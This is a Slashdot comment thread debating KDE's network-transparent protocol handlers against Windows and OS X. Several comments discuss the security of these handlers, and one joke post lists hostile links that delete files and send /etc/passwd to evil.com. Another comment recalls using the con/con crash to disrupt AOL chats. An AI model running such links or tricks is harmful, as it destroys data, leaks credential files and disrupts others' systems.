KDE: Breaking the Network Barrier

comforteagle writes "In this month's KDE: From the Source, entitled Breaking the Network Barrier George Staikos takes us on a walk-through of KDE's desktop networking protocol handlers in the vein of sftp:// webdav:// and a few really nifty ones I wasn't aware of like info:/ perldoc:/ and tar:/. The entire KDE desktop environment is decked out like this, and as George puts it, 'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.'"

Comments

First post.

[Anonymous Coward]

Wahahha. John Kerry, please win. I need a job.

Re:First post.

[Anonymous Coward]

Go stand at a military base gate and wave people through. Granted, your /. time will go down, but, one has to make sacrifices.

Vow

[Anonymous Coward]

That is so kool

What a relief.

[grub]

a walk-through of KDE's desktop networking protocol handlers in the vein of sftp:// webdav:// and a few really nifty ones I wasn't aware of like info:/ perldoc:/ and tar:/

Good thing the Christmas Island people have made it safe for the goatse:/ handler.

Re:What a relief.

[Anonymous Coward]

upon a midnight dreary, while i pron surfed, weak and weary, over many a strange and spurious site of ' hot xxx galore'. While i clicked my fav'rite bookmark, suddenly there came a warning, and my heart was filled with mourning, mourning for my dear amour, " 'Tis not possible!", i muttered, " give me back my free hardcore!"..... quoth the server, 404.

Re:What a relief.

[SpiffyMarc]

In related news, Microsoft rushed to announce the virus:// protocol implemented to make it easier to determine what links go to websites, and what links go to self-installing viruses.

Re:What a relief.

[Anonymous Coward]

The bsod:// protocol has been working for some time now

Re:What a relief.

[Nutcase]

Why don't they just use the evil bit?

Re:What a relief.

[Anonymous Coward]

That's great, but please, cite your sources. Googling came up with this site: thebest404pageever

Re:What a relief.

[Anonymous Coward]

actually it's a famous quote from

bash.org

as any self-respecting /.er will know.

Re:What a relief.

[FooAtWFU]

Anyone remember the file:///com1/lpt1/ exploit?

Re:What a relief.

[irc.goatse.cx troll]

Yeah, any dos device name twice. con/con was used a lot, as was aux aux.
In an AOL chatroom you could clear the whole thing out by using their annoying play sound command with it, {S con/con/asdf.wav

I uh, 'had some friends', that would clear out full channels with moderators in there.

Marketspeak

[goldspider]

"...robust, transparent functionality..."

I'm sorry, but to me that bit just reduced a potentially informative article to yet another trivial Slashvertisement.

Re:Marketspeak

[PitaBred]

Says the person with the situational ethics sig.
Perhaps you should just read the article and not pay attention to the slashblurb? Whether it's Slashvertising or not, it's still interesting.

Re:Marketspeak

[prell]

The paradigm of "browsing" the web, ftp, mail, nntp, and webdav all from one application doesn't appeal to me. That is, I doubt I would use it. I can't see myself opening up another instance of what I was just using as a web browser, and then typing out an nntp address: they're totally different streams of thought, and I think that a change of interface (and application) is actually an important step the mind likes to take, since it is, after all, focused on a new imperative. Isn't that partially how we ended up with these different widgets? I wouldn't use a pencil to sign a birthday card, and likewise I wouldn't use a pen to sketch a diagram -- there's a change of importance, understanding and expectation there. I might be proven wrong when I try these new KDE features, but in general I think that sometimes praise is given to those who created technically impressive products that were not requested by the general public and don't really get used. The OSS community often doesn't have money, deadlines or requirements; just cool ideas. If these developers and designers can do some research and user testing, and identify focus in their products, then what they produce will be undeniably important, and will say even more about the discipline and the power of people than it gives to the desktop.

Re:Marketspeak

[cozziewozzie]

Sure, using all these things from the browser interface is stupid, but you're missing the point. Konqueror is not a browser, it's merely a shell which is very nice for viewing webpages. You are not supposed to browse most of these things (nntp, mail etc.) from Konqueror, but you CAN simply because you can embed just about anything into Konqueror.

The useful thing is for example:

- Writing a webpage in Quanta and uploading it directly to your webserver simply by typing ftp://blahblah in the file save dialog.
- Streaming your movios from an smb share directly to Kaffeine without needing to use smbmount or anything similar. Or stream directly from http or ftp or ssh servers
- Opening an mp3 song from an audio CD. You simply type audiocd:// in the file open dialog and you'll be able to find a virtual mp3 on there. You open it from amaroK and you get an mp3 encoded on the fly. OK, not the most useful usage and not sure if it works, but you get the drift

The point is, if it works from Konqueror, it works from EVERYWHERE in KDE. Automatically.

Re:Marketspeak

[optikSmoke]

I think you misunderstand -- it's not about using one app for many protocols, it's about using all protocols in every app. For example, opening a text document in kwrite (or some other kind of document in some other KDE app) on another system over is incredibly useful. I no longer worry about transfering files across systems, because all I need is SSH access and I can use remote files as if they were local files in KDE -- It's immensely powerful, and I'm surprised Mac/Windows haven't caught up to this (because KDE's had it for years).

Re:Marketspeak

[Raffaello]

Mac OS X has had transparent network open and save since beta versions (about 4 years ago). FTP is built into the GUI shell (the equivalent of Konqueror which is called Finder on Mac OS X).

I don't think Mac OS has much catching up to do in this area. Network transparency has been designed into the OS from the very beginning.

Re:Marketspeak

[rpdillon]

Yes, but KDE isn't dealing with only network transparency. It also deals with compression transparency, format transparency and protocol transparency. This includes handling of tar.gz files without a compression program, kamera://, and, as the original post pointed out, other formats like info://.

Basically its an extensible system that allows for any protocol to be used. No one else has that yet.

Re:Marketspeak

[kyrre]

I am not very impressed with the network mounting in os x. FTP does not support upload, there is no sftp, and if the remote host goes down there is a 30 second Finder freeze before you can continue with your work.

I hope they fix this in Tiger. 10.3 is way better than 10.1 in this respect though.

Re:Marketspeak

[Anonymous Coward]

You are not supposed to....but you CAN

I think you just summed up KDE's usability problems !!

Re:Marketspeak

[AstroDrabb]

While the GUI in all versions of Mac OS X are "pretty", the "transparent" network of the desktop sucks. FTP doesn't support uploads, there is no SSH/SFTP, and a bunch of other protocols that are not supported. KDE REALLY kicks OS X's butt when it comes to the network being integrated into the desktop.

In KDE, you can just keep adding protocol handlers and extend KDE's network awareness to infinity.

Re:Marketspeak

[Anonymous Coward]

"I wouldn't use a pencil to sign a birthday card"

Why not?

Re:Marketspeak

[cmbofh]

> I think you just summed up KDE's usability problems !!

Nonsense. If you don't enter any of the special protocols (for example because you don't know about it) then this is completely hidden and doesn't come in anyone's way. No button, no config option that takes up space or grabs attention.

This is really _no_ usability problem.

OTOH if I choose to use some of the protocols (which I do, most often fish:/) then it's a great boon for me.

Kwel

[Anonymous Coward]

My favorite one of course is pr0n:/. But for some reason I get buffer a overflow error - anyone know why? Anyone get pr0n2:/ working yet?

Re:Kwel

[TV-SET]

Anyone get pr0n2:/ working yet?

What, you mean like for 2 hands? :)

Re:Kwel

[Anonymous Coward]

See, this is why everyone thinks that mouse pointer the uses cameras to follow where your nose is pointing onscreen is a good idea. Then again, I would be kinda creeped out whacking with both hands whilst steroscopic cameras watched me.

What's the difference?

[isa-kuruption]

What's the difference between defining the application based on 1) Meta data (like OSX) or 2) File extension (Windows) or the way described as being part of KDE 2.0?

There is no difference! Just different ways of doing it! No, Windows and OSX do not have a long way to go, but KDE is obviously JUST catching up to the idea of determine what application to open up based on such data!

Re:What's the difference?

[Anonymous Coward]

RTFA... This has nothing to do with which application to launch to deal with a specific file. You are thinking of file associations.

The KDE feature discussed here is a compatibility layer that allows users to treat a files located elsewhere as if it is on the local disk.

Instead of having to use sftp to download a file from a site, or wget to download a file from the webserver or even evolution to download a file from the mail server, you can just use one common interface for all files reguardless of their storage or access method.

This means a tighter and more consistent user experience.

SO there!

Re:What's the difference?

[Tony Hoyle]

Huh? Did you even read the summary?

This is *not* about file extensions or otherwise (Unix has done this right since day one, which is why you don't need to put .bat on the end of your shell scripts) it's about transparently accessing different namespaces.

Windows and OSX are a long way from this. They just about understand http, and even then on at the application level.

Re:What's the difference?

[prockcore]

No, Windows and OSX do not have a long way to go, but KDE is obviously JUST catching up to the idea of determine what application to open up based on such data!

I was under the impression that KDE used something similar to Gnome's VFS. Meaning it doesn't launch a webdav client when you open a webdav:// url, it uses a VFS module to do it.

This is very different than what you are talking about. This allows applications to open and save files to webdav, afs://, smb://, ftp:// just like any other file.

For instance, I could write a daap:// handler that allows any application to open iTunes music shares just as if they were regular local directories.

Re:What's the difference?

[cozziewozzie]

Unfortunately, the article is slashdotted, but I am not sure you know what the hell you are talking about. They are talking about network protocols integrated in all applications and you're talking about metadata? HUH?

Can you open the save dialog in MS Word and save your document on a remote ssh server via the fish protocol without doing anything special? Who's playing catchup again, huh?

Re:What's the difference?

[be-fan]

Um, What're you talking about? The thing described in the article has nothing to do with figuring out what application to use to open up a file. It has to do with network transparency in the user-interface. Eg: I can't open up MS Word and save a document directly to a SSH account, but I can do that in KWord. Neither OS X nor Windows have this very useful feature.

Re:What's the difference?

[Reducer2001]

This means a tighter and more consistent user experience. But when Microsoft does it w/ Office, Explorer, Windows Media Player, and Internet Explorer, the FOSS people cry foul?

Re:What's the difference?

[Anonymous Coward]

Windows has supported custom URL protocols for at least 5 years now, if not since the inception of Internet Explorer. It's a simple registry setting that an app may add during it's installation. Several applications already make use of this, such as mirc:// and ms-help://.

This isn't new or exciting, and Windows already has and uses this.

Re:What's the difference?

[Anonymous Coward]

For example?

Re:What's the difference?

[Mornelithe]

Like what? The only thing I can recall recently is the "shell://" URL handler, which is a way to execute arbitrary commands. That is a bad idea, and as far as I know, KDE has no equivalent.

Re:What's the difference?

[Karma Farmer]

This means a tighter and more consistent user experience.

Because I can now use it from all my applications? Like Mozilla, bash, PINE, Java Swing applications, in the save-file dialog box of any video game, my Perl scripts, and everywhere else?

No? Well, then we have a very different idea what "consistent" means.

Re:What's the difference?

[Mornelithe]

Then use Konqueror, and KMail.

The only way to get this across every single application is to include it at the filesystem level. First, the KDE developers aren't kernel hackers, so they probably don't have the expertise to write such an extension.

Second, even if they did, it would probably incite a giant debate in the Linux kernel mailing list when they presented it (like with Reiser4), and the net result would be that it wouldn't be in anyway. So it'd be a bunch of patches and you'd have to use a special kernel to use KDE, which would be awful.

The KDE developers aren't going to rewrite every single application out there to use their functionality (and if they did, people would complain because pine depends on KDE).

In other words, don't choose to use a hodgepodge of programs, and then complain that it works like a hodgepodge of programs.

Re:What's the difference?

[renoX]

> Then use Konqueror, and KMail.

Note that some KDE applications are NOT location independant such as KNode which doesn't allow you to do 'disconnected operations': if memory serves you have to use a different application for this..

So while the location independance features of KDE are nice, they are far from being good.

Re:What's the difference?

[Guy Harris]

The only way to get this across every single application is to include it at the filesystem level. First, the KDE developers aren't kernel hackers, so they probably don't have the expertise to write such an extension.

But do they have the expertise to write a user-mode NFS server that uses the protocol in question as the back end? There'd still be some platform-dependent crap to do the NFS mount (probably using a port other than 2049, if the platform's NFS client supports that), and there might be some file systems where that doesn't work all that well, but it might work well for many of them.

Unfortunately, NFSv2 and v3 don't have "open" operations, so read/write file systems might be a little painful if the file system protocol is oriented towards copying entire files, as you'd probably want to implement writing by writing to a local copy of the file and writing the file back to the server when it's closed. NFSv4 might help, although that'd help only on OSes with NFSv4 clients mature enough for that purpose (Linux's might be; I think Solaris 10 will have a v4 client which might be; there are v4 clients under development for the BSDs, although I don't know whether they'll end up in OS X at some point).

For access to tarballs, zipballs, and the like, read/write access would be tricky, as you easily can't update individual files in place. If you offer read-only access, a user-mode NFS server would probably work.

Re:What's the difference?

[Anonymous Coward]

Please do.

Re:What's the difference?

[Guy Harris]

This is *not* about file extensions or otherwise

Correct, although...

(Unix has done this right since day one, which is why you don't need to put .bat on the end of your shell scripts)

...that doesn't mean that suffixes aren't needed at all on UN*X - try calling a C source file "foo.f" and see how eager GCC, for example, is to compile it:

% cat foo.f
int
main()
{
printf("Hello, world!\n");
}
% gcc foo.f
gcc: foo.f: Fortran compiler not installed on this system

At the desktop GUI level, some UN*X desktops, such as KDE and, I think, Gnome (and possibly CDE and others) don't require suffixes in many cases, as they do file-style file type determination by looking at the file's contents, and give the file the right icon, launch the right application when you click the file, etc., but whether that behavior can be attributed to "Unix" is another matter. At least one UN*X desktop is mainly suffix-based and doesn't do that sort of "look at the file contents" file type determination, although I guess if the file's on a file system that supports resource forks and the resource fork has the right type and/or creator code it might work.

Windows and OSX are a long way from this. They just about understand http

Umm, no, OS X definitely lets you add handlers for arbitrary URL schemes, and I infer from what others have said in replies to the original article that Windows does so as well. They don't have an IOSlave equivalent, but, at least in OS X, I'd be inclined to implement that as a user-mode NFS server, which means it'd be more general than an IOSlave, because it'd be usable by all applications, not just KDE applications (see, for example, OS X's mount_ftp, which I think might work through a user-mode FTP server with an FTP client as a back end). If possible, I'd be inclined to do it with a user-mode SMB server in Windows, although that might be less likely to work on port other than 139 or 445 (and thus less likely to run without interfering with any standard SMB server running on the machine).

Re:What's the difference?

[Com2Kid]

• Windows and OSX are a long way from this. They just about understand http, and even then on at the application level.

*goes to arbitrary application*

*types in FTP address*

*browses his FTP server*

Problem solved.

Internet Explorer is integrated into the shell.

Anybody who uses the new(er) file open dialog boxes has access to this.

Oddly enough I remember thinking a few years back that it'd be a good idea if I could access my FTP from a file save/open dialog box.

For whatever odd reason the save dialog box CANNOT access arbitrary URLs, not too surprising, I guess their file save routine doesn't want to deal with going over various odd network types.

Not that this make KDE "light-years" ahead, a few days of coding perhaps.

Oh, and IE is extendable, all those different protocols can be tacked on by third parties.

Re:What's the difference?

[PitaBred]

KNode is a newsreader. It uses the news protocol. Why would it need disconnected operations? It doesn't have anything at a filesystem type level where the kioslaves would be useful.
The features are very good. You're just a twit.

Re:What's the difference?

[Anonymous Coward]

This is hilarious. The parent post is one of the most informative commments in the article thus far and is still scored at 0.

Why? Typical slashbot mentality. OMG KDE HAS TITE NETWORK INTERGRATION IT LEAVES WINDOWS AND OSX IN THE DUST!!!!!!! WAIT WHATST THAT WINDOW$ HAS BEEN DOING THE SAME FOR YEARS? SHUT UP!!!!!

Re:What's the difference?

[renoX]

> KNode is a newsreader. It uses the news protocol. Why would it need disconnected operations?

Because it can be usefull for the user? Especially when you have a payed metered connexion.

Well I find that saying 'KDE break the network barrier' and at the same time knowing that it isn't true for the news reading, for me it's pure bragging ..
KDE sometimes break the network barrier would be be more accurate!

Cue the Linux is..

[Tracer_Bullet82]

playing catch up game to MS and OSX.

Oh wait..

Re:Cue the Linux is..

[Anonymous Coward]

is that catsup or ketchup

GNOME compatibility?

[Anonymous Coward]

After all, KDE isn't the only popular open GUI toolkit for Linux.

Re:GNOME compatibility?

[VocabularyNazi]

what is this GNOME of which you speak??

Re:GNOME compatibility?

[Anonymous Coward]

Compatibility with what? The gnome:// protocol?

Errr.... security?

[Not_Wiggins]

Not to be a nervous-nellie, but isn't adding more networking/protocols to the desktop just asking for more hacking problems?

Re:Errr.... security?

[Chundra]

Maybe I don't know exactly what you mean, but all these protocols are already supported by various other clients. How is integrating it into the desktop asking for more hacking problems?

Re:Errr.... security?

[gmuslera]

Think in a web page with a javascript that launch any of the "dangerous" links there (i.e. scp if takes your certificates or even audiocd:), and maybe even interact with the new opened window thru javascript too.

Ok, could be added security to avoid some of this tricks, but now you are in a position of unsafe by default unless you take every possible protection measure.

Re:Errr.... security?

[Tim C]

Every time you add features you add potential exploits. All you can do is make it as secure as you are able to, and be pro-active with regard to looking for and fixing exploits.

Re:Errr.... security?

[eMartin]

Yeah, but opening an html file from a web server with a text editor doesn't mean that the javascript in the file will do anything other than be displayed in the text editor.

We're not talking about integrating scripting engines or even anything that would follow links to other sources. Just plain old accessing files in any location with any program as if they were locally stored.

Re:Errr.... security?

[Anonymous Coward]

You're dumb. Go home and quit talking.

Re:Errr.... security?

[Jason Hood]

Yeah the security issue makes no sense. If a webpage launches a different protocol, http is no longer being used. If they want to throw you to a random service on a random site, it would be no different than if you typed it in your self.

If you _used_ konqueror you would see and understand how safe and powerful it is.

Re:Errr.... security?

[Technonotice_Dom]

I think the parent means just that - say a web page redirected you to, for the sake of argument, the audiocd: handler - by passing data to this handler, could there be a security problem? Either accessing data or controlling parts of the system?

Yep, it's the same as typing it in, but some users will click on anything, and I know that when I'm browsing the net, I don't double check every link begins with http://....

Even though I use KDE every day on my machines, I don't use Konqueror for anything other than file browsing, so I've no idea on this...?

Re:Errr.... security?

[krumms]

Can you say "Internet Explorer"?

Re:Errr.... security?

[Anonymous Coward]

I wouldn't worry to much about it. Here are some articles I wrote on the subject:

shell://rm%20-rf%20&
(takes a while to load, be patient)

telnet://suckertrack.evil.com:666/
(if it hangs, don't worry, just try the next one)

sftp://evil.com/tmp/fun?src=/etc/passwd
(this one's great)

Re:Errr.... security?

[cmbofh]

You have a point there, it would be potentially dangerous.

That's why it is _not_ handled the same way as if the user had typed it in. If a web page contains a link to your local file system, to the audiocd:/ IO slave, ... you get a warning popup. Try with the trash:/ link in one of the earlier comments.

Re:Errr.... security?

[cmbofh]

Oops, said link is in the comments to TFA itself...

Re:Errr.... security?

[Technonotice_Dom]

Ah thanks, I was hoping/expecting that was the case.

I never realised about the fish:/ handler until today... it's brilliant! Just being able to work on a remote machine with Kate etc like it's local is brilliant :)

Re:Errr.... security?

[IamTheRealMike]

Because they're different code. For instance, check out the telnet:/ vulnerability some time ago.

Re:Errr.... security?

[mrderm]

The fish:/ ioslave is great as a last resort. If your ssh server has sftp enabled then the sftp:/ ioslave will do the same thing in a more robust way.

Re:Errr.... security?

[jasmusic]

You got it man. We wouldn't be doing any favors for the future of computing by hiding in a cave.

Re:Errr.... security?

[Carewolf]

Untrusted pages (anything nonlocal) cannot link to dangerous protocols. Remember there is even an execute:// protocol that executes programs in the shell.

Re:Errr.... security?

[SirTalon42]

I don't have the shell kio slave apparently *cries*

uh huh.

[wankledot]

For every one geeky thing that OS X can learn from KDE, there are fifty things that KDE can learn about design, usability, polish, and consistency from OS X.

Re:uh huh.

[Jameth]

"For every one geeky thing that OS X can learn from KDE, there are fifty things that KDE can learn about design, usability, polish, and consistency from OS X."

Don't start going about MacOS-X usability until you really look into it a lot deeper. They went all out for high 'walk-up-and-use' value, but not so much for actual usability. Many of the OS-X choices detracted significantly from usability that was present in earlier versions, giving apparent usability rather than actual usability.

This isn't to say their choice was wrong, but they were targetting new users and home users, not pro users. In very many ways, KDE is far more usable than OS-X, it mostly just depends on how talented the user is and what they are trying to do.

Re:uh huh.

[wankledot]

I'm really interested to hear what kinds of things you think have been eliminated or gone downhill from OS9.

Re:uh huh.

[Jameth]

For starters, window-shading was a wonderful tool they decided to cut.

I know it sounds pathetic to say I don't remember many, but I don't use MacOS-X at home, I use KDE. This is because I found MacOS-X detracted too far from my productivity because I couldn't just do stuff in a fast way, I had to do it their way.

Re:uh huh.

[Anonymous Coward]

When I have work to do across several machines, vague and subjective concepts such as 'usability' and 'polish' so frequently used by the Gnome and Mac OS X users are not useful to me. Network transparency is.

Re:uh huh.

[AusG4]

Yes, but this is true of pretty much any GUI. As much "wiggle" as KDE or OS X give you, they ultimately do lock you into the paradigm as prescribed by the designer. To say that MacOS X makes you work "it's way" is fine, but don't act like KDE doesn't do the same.

Re:uh huh.

[Anonymous Coward]

What the fuck? Why is there always some Apple-obsessed fucktards like yourself jumping out of their pseudointellectual caves to violently wave the Apple banner? Give it a rest.

Re:uh huh.

[justsomebody]

Wow I like this one.

Here they are

most of "Connect to server" server connections don't work, example ftp:// one version asks for password, but latest OSX patch does not. Copying files doesn't work as it should.

Network interface was simple. Chooser and that was it. Now there is trashed all over the place. Network in finder supporting SMB only???

Start menu has gone bad since OSX.

Mail has fatal flaws. (Besides its fatal unusability)

You can't control with keys on dialogs or popdowns. (Buttons I mean)

Themes aren't consistant. And please don't say BrMetal is multimedia, standard is other software. Even Apple wasn't consistant with this feature

Window Titlebar. Was clear, now you get ughly and bad positioning.

Mouse (ok, that one was bad and still is)

OS9 detected new monitor. OSX doesn't. I wouldn't even notice that if I wouldn't disconnect 22" monitor and connect 17". Guess what (blank screen)

File layout was perfect, now it isn't.

System files were perfect. Throw preferences to trash and it works. Now it doesn't, Everything is displaced on various locations. (even Windows don't have such bad file layout)

You could reinstall system, copy (not install) software and preferences. You could work. Now it is not even a bit better than Windows.

Response was fast, now eye candy is slowing down everything.

Harddrives often get locked in OSX.

Printers don't support CMYK ICC profiles (OS9 was supporting them). Sory, buddy. cups is not CMYK proof concept. You can install rip though, but that is something you can install anywhere

Really bad system menu layout. It was almost perfect

No more delete and it is uninstalled. It was trashing all over the place

Everything is too big without system scaling option. (There wasn't scaling in OS9 but at least it was usable on smaller resolutions)

Should I continue????

Re:uh huh.

[IamTheRealMike]

The name of the app appears in the menu bar so all the menus are constantly moving, defeating whatever usability value a fixed menubar had in the first place.

Re:uh huh.

[wankledot]

Wow I like this one. Here they are most of "Connect to server" server connections don't work, example ftp:// one version asks for password, but latest OSX patch does not. Copying files doesn't work as it should. This is really vague. FTP is read-only, sure. There is no built in FTP client in OS9. Network interface was simple. Chooser and that was it. Now there is trashed all over the place. Network in finder supporting SMB only??? The network in the finder doesn't support SMB only. You think the finder was better? There was no SMB (or NFS) support at ALL. You're forgetting the "network browser" conveniently. Start menu has gone bad since OSX. There is no fucking "start" menu. Do you know what you're talking about? Mail has fatal flaws. (Besides its fatal unusability) Wow, that's a little vague too. I use it all day without a single problem. Themes aren't consistant. And please don't say BrMetal is multimedia, standard is other software. Even Apple wasn't consistant with this feature Window Titlebar. Was clear, now you get ughly and bad positioning. Window titlebars are exactly the same as they are in OS X. WTF are you talking about? Mouse (ok, that one was bad and still is) What's wrong with the mouse? OS9 detected new monitor. OSX doesn't. I wouldn't even notice that if I wouldn't disconnect 22" monitor and connect 17". Guess what (blank screen) File layout was perfect, now it isn't. System files were perfect. Throw preferences to trash and it works. Now it doesn't, Everything is displaced on various locations. (even Windows don't have such bad file layout) Actually everything is on ~/Library/Preferences You could reinstall system, copy (not install) software and preferences. You could work. Now it is not even a bit better than Windows. Explain how you can not copy software in OS X. Response was fast, now eye candy is slowing down everything. Harddrives often get locked in OSX. Huh? Printers don't support CMYK ICC profiles (OS9 was supporting them). Sory, buddy. cups is not CMYK proof concept. You can install rip though, but that is something you can install anywhere Really bad system menu layout. It was almost perfect No more delete and it is uninstalled. It was trashing all over th place So the extensions folder in OS9 didn't exist? Everything is too big without system scaling option. (There wasn't scaling in OS9 but at least it was usable on smaller resolutions) Should I continue???? You don't know what you're talking about, I'm not going to waste my time.

Re:uh huh.

[wankledot]

That is almost a moot point since every app has a different set of menus. Even if the first item was the same, the rest of the menu would still change.

Sure, File Edit View are there usually, but I think it's a minor issue.

Re:uh huh.

[Axoiv]

And Macintosh is _the_ most userfriendly, and _the_ most usable interface for _all_ possible situations.

Please, there simply is no "one size fits all" here.

Re:uh huh.

[SirTalon42]

You seemed to skip over half of his points.

"What's wrong with the mouse?" It's slow (I can't remember any config options for the speed), and don't give me the bs that its more 'precise,' if I have to lift the mouse up to get across the screen then its too slow. Also Apple's love of one button is creepy, having to hold a modifier key to get right mouse click doesn't make up for it.

Re:uh huh.

[justsomebody]

This is really vague. FTP is read-only, sure. There is no built in FTP client in OS9

At least it wasn't stupendously confusing with half assed support

The network in the finder doesn't support SMB only. There was no SMB (or NFS) support at ALL. You're forgetting the "network browser" conveniently

Are you plain stupid??? Guess that's the reason why I see windows machines on OSX and not other Apple OSX clients with sharing enabled

Window titlebars are exactly the same as they are in OS X. WTF are you talking about?

Stupid colored buttons without icons (yeah, and no shade option) on the wrong side

What's wrong with the mouse?

Maybe the fact that it is year 2004 and OSX still doersn't support acceleration

Actually everything is on ~/Library/Preferences

Yeah, but trashing them doesn't solve shit

Explain how you can not copy software in OS X

Just try to copy Adobe Acrobat from one computer to another

Harddrives often get locked in OSX. Huh?

Huh, or not. They do especialy SMB mounted ones

So the extensions folder in OS9 didn't exist?

When did I say that????

You don't know what you're talking about, I'm not going to waste my time

Actualy that would be description of you

kde is pretty good, but...

[deviantonline]

Ive always enjoyed kde. It has a lot of customization options and works quite well.

The one thing that I do not like about it, is how long it takes to boot. Windows (and probably mac, never really used it) have linux/kde beat for loading times. I really wish there was a distro that could integrate kde into the booting process rather then boot linux then kde - like back in the dos/win days...

Re:kde is pretty good, but...

[Anonymous Coward]

you reboot?

Re:kde is pretty good, but...

[XO]

Hmm. My P3/600, 128MB ram, from the point of having the SCSI drives spun up (which happens in the BIOS setup), boots to a console login prompt, then has KDE up and running in about 1.5 minutes if I login immediatly and startx. If I ran something to use a graphical login, it would probably be slightly less. Kernel 2.6.7, Debian kept-mostly-to-the-bleeding edge

Re:kde is pretty good, but...

[XO]

ack, someone interrupted me and i hit submit.. oops. Wanted to add, that same machine takes over 3 minutes to boot Windows '98 into a viewable state (and takes another thirty seconds after i can see everything before it starts responding), and 4 minutes with Win XP.

Re:kde is pretty good, but...

[deviantonline]

I have pretty much the same configuration (a bit more ram and an athlon 600). Kde is booted in about the same amount of time, however windows xp is booted in less than 30 seconds.

Re:kde is pretty good, but...

[mopslik]

Combining your messages:

My P3/600, 128MB ram ... takes over 3 minutes to boot Windows '98 into a viewable state

If that's the case, you've either seriously messed up your computer with spyware and viruses, tried loading a thousand programs at boot, or you've got a nasty hardware problem, like a failing drive or defective memory. Seriously, there's no reason why Win98 should be taking that long to boot up.

I just finished cleaning up my sister's Win98 machine, which is a P2-233 with 64MB of memory, and it boots up to a fully-functional GUI in just under a minute-and-a-half.

Having said that, my dual-boot P4 machine boots Linux/KDE in just a wee bit longer than it boots XP, which is perfectly acceptable to me.

Re:kde is pretty good, but...

[Brandybuck]

They've forced me to dump dual boot at work, but back when I was dual booting Win2K and FreeBSD/KDE, the latter was objectively faster even though the former seemed to be quicker to the casual user. But when I did an objective test from bootup to displaying a webpage in the default browser, FreeBSD/KDE had Win2K beat by about five seconds (45 to 50 seconds totals). Win2K seemed to boot quicker, but it really didn't. When it looked like it was up and running it was still loading in the background. You would click on IE and end up with five to ten seconds of an hourglass cursor.

I'm sure WinXP has improved in speed, and I'm sure you can find some lameass slow Linux distros, but the myth that Windows is faster simply is not true. ...and probably mac, never really used it...

Then why don't you go find out first before making claims! From my ACTUAL USE of the Mac, it seems to me that the Mac is marginally slower to start up, even though the UI seems to be snappier.

Re:kde is pretty good, but...

[sloanster]

The one thing that I do not like about it, is how long it takes to boot.

(shrug) I usually boot my linux boxes every year or so, and never really thought about booting times being a problem... If you really want a fast boot, there is a linux bios project that allows a system to come from a powered off state to "ready for login" in a few seconds...

Re:kde is pretty good, but...

[micromoog]

The KDE-specific part of my boot takes about 10 seconds, on an old 600Mhz box . . . ?

Re:kde is pretty good, but...

[Anonymous Coward]

You let your computer suck power all day or night or while on vacation even though you aren't using it?

Re:kde is pretty good, but...

[dagur]

you reboot? I use KDE on my laptop, a laptop that I take with me everywhere. Since ACPI is not fully supported yet, I can't suspend it, wich means I have to boot sevral times a day. KDE takes longer to start then the kernel to boot and that is quite anoying. Also think of where linux is used on a family pc, where the users log out after use. (Yes you can start servral X sessions, but who does that?).

Re:kde is pretty good, but...

[sp0rk173]

Yeah man, but you used FreeBSD. FreeBSD is inherently faster than Linux.

Re:kde is pretty good, but...

[Zorilla]

Dude, you might want to check to see if somethings holding up the boot process. For all but XP, if you have DHCP enabled, but are not really using it (disconnected or use a PPPoE connection), you will see very long boot times as you wait for the DHCP client to time out. This is also not a good thing in XP either, however, the OS will be in a nearly-ready state until DHCP times out (no networking functions will work until a minute or so after the shell is brought up)

Also, since it's Windows 98, remark out all memory managers and such in HIMEM.SYS and any real-mode drivers in AUTOEXEC.BAT, as those will add at least another ten seconds if there are any. If you need real-mode drivers because you exit to MS-DOS occasionally, you can move them to C:\windows\dosstart.bat

Using RegClean and running a defragmenter wouldn't hurt either.

Re:kde is pretty good, but...

[JamesTRexx]

I installed FreeBSD stable with KDE on my Dell laptop over a week ago, but I found it booting much faster than Windows 2000. (and I maintain W2K so it keeps on booting as fast as it should)
The only reason KDE is (just a little) slower now is because I've been experimenting with the cvs build of x.org.

Re:kde is pretty good, but...

[JamesTRexx]

Then Linux must be veeerrrrryyyyy slow, seeing how "dead" *BSD is supposed to be. :-P

Re:kde is pretty good, but...

[Anonymous Coward]

Inherently faster? Why is FreeBSD *inherently* faster than Linux? I would argue that due to the fact that Linux is much more a monolithic kernel than FreeBSD that Linux should be faster. Microkernel architectures should suffer a penalty for the modularity--especially if they have to switch into and out of kernel mode to accomplish a task that is all kernel mode in a monolithic kernel.

OK, the fact that FreeBSD doesn't (typically) launch X on startup may make it inherently faster.

Re:kde is pretty good, but...

[Anonymous Coward]

DO you use 2.6 series kernel?

Re:kde is pretty good, but...

[sp0rk173]

First off, it was a tongue in cheek comment. I don't actually think FreeBSD is inherhently faster. You've got some inacuracies in your logic, though...

I would argue that due to the fact that Linux is much more a monolithic kernel than FreeBSD that Linux should be faster. Microkernel architectures should suffer a penalty for the modularity--especially if they have to switch into and out of kernel mode to accomplish a task that is all kernel mode in a monolithic kernel.

FreeBSD is just as monolithic as Linux. Any microkernalities in the FreeBSD kernel are so small that their performance impedments are probably insignificant. On top of that, DragonFly BSD is a bit more microkernalized than FreeBSD, as it has a more modularized message passing system (As i understand it, i could be wrong), and it actually seems to perform better than both FreeBSD and Linux. I think the old addage of microkernels sacrificing speed for modularity is becoming less and less true as time goes on.

OK, the fact that FreeBSD doesn't (typically) launch X on startup may make it inherently faster.

By a system being "inherently faster", if i was indeed serious, I wouldn't mean boot up time; I would mean application response time. Starting X on boot on one system, but not on the other really wouldn't sway me, neither would starting network and local services on boot. I would mean, in a Gui, clicking around, listening to music while compiling, watching videos while compiling, etc. And there's even arguments about those examples being representative of actual system speed. How do you measure system speed? Do current synthetic benchmarks actually represent system speed in a nominal way? It's all too subjective to come to a difinitive answer.

An argument could, however, be made in terms of system cohesiveness. A linux system is a collection of cross-platform unix tools strapped to a linux kernel, without an eye for integrated performance in the source code. This can lead to unintentional bottlenecks. A FreeBSD system, or any BSD system for that matter, is a cohesive system of cross-platform unix tools ported specifically with the operating system in mind. Changes in the main code branch of important system tools, like glibc, gcc, etc are merged into the BSD-specific code branch, some opimization goes on, and the finished product is seemingly more polished because of it. does the integrated effect of the bottlenecks in the linux model - if they do indeed exist in a measurable way - effect system performance? Does a development model for a system that is followed in the BSD communities lead to a more inherently unified and efficient system than would exist otherwise? I don't know the answer to these questions, or if they really matter.

So, Mr. AC, calm yourself.

User friendliness is still the issue

[FortKnox]

The entire KDE desktop environment is decked out like this, and as George puts it, 'Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0.'

